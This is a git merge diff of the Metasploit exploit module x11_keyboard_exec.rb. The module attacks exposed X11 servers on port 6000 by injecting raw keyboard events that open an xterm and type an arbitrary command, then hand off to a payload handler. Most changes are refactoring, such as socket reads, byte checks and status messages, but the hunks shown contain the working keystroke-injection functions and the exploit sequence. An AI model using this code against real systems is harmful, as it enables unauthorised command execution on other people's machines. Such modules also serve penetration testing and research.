Merge branch 'hmoore-r7-land-5692' into x11_keyboard_exec

Author: xistence

modules/exploits/unix/x11/x11_keyboard_exec.rb

@@ -109,11 +109,11 @@ def initialize(info = {})
     register_options(
       [
         Opt::RPORT(6000),
-        OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows', 5])
+        OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5])
       ], self.class)
   end
 
-  def press_key( key )
+  def press_key(key)
     req = "\x8e\x02\x09\x00"
     req << "\x02"
     req << key
@@ -129,15 +129,15 @@ def press_key( key )
 
     sock.put(req)
 
-    res = sock.recv(1024)
+    res = sock.get_once
     # Response should give 1 on first byte (Success)
-    unless res and res[0] == "\x01"
-      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key}")
+    unless res and res[0,1] == "\x01"
+      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}")
     end
 
   end
 
-  def release_key( key )
+  def release_key(key)
     req = "\x8e\x02\x09\x00"
     req << "\x03"
     req << key
@@ -153,18 +153,18 @@ def release_key( key )
 
     sock.put(req)
 
-    res = sock.recv(1024)
+    res = sock.get_once
     # Response should give 1 on first byte (Success)
-    unless res and res[0] == "\x01"
-      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key}")
+    unless res and res[0,1] == "\x01"
+      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}")
     end
 
   end
 
-  def type_command( command )
+  def type_command(command)
     # Specify the special keys which need to have shift pressed first to type
-    specialkeys = '<>{}|"&()'.chars.to_a
-    values = command.chars.to_a
+    specialkeys = '<>{}|"&()'.chars
+    values = command.chars
     values.each do |value|
       key = KB_KEYS[value]
       # Special keys need a shift pressed to be typed
@@ -186,8 +186,8 @@ def type_command( command )
       end
     end
     # Send an enter
-    press_key( "\x24" ) # [enter]
-    release_key( "\x24" ) # [enter]
+    press_key("\x24") # [enter]
+    release_key("\x24") # [enter]
   end
 
 
@@ -212,10 +212,10 @@ def exploit
       sock.put(req)
 
       # Retrieve the whole X11 details response
-      res = sock.recv(4096)
+      res = sock.get_once
 
       # Response should give 0x01 in first byte (Success)
-      unless res and res[0] == "\x01"
+      unless res and res[0,1] == "\x01"
         fail_with(Failure::Unknown, "#{rhost}:#{rport} - Registering keyboard failed")
       end
 
@@ -227,12 +227,14 @@ def exploit
       release_key(KB_KEYS["f2"])
 
       # Wait X seconds to open the dialog
+      print_status("Waiting #{datastore['TIME_WAIT']} seconds...")
       select(nil, nil, nil, datastore['TIME_WAIT'])
 
       # Start a xterm terminal
       print_status("#{rhost}:#{rport} - Opening xterm")
       type_command("xterm")
 
+      print_status("Waiting #{datastore['TIME_WAIT']} seconds...")
       # Wait X seconds to open the terminal
       select(nil, nil, nil, datastore['TIME_WAIT'])
 
@@ -242,7 +244,6 @@ def exploit
 
       type_command(command)
 
-
       handler
     rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
       print_error("#{rhost}:#{rport} - #{e.message}")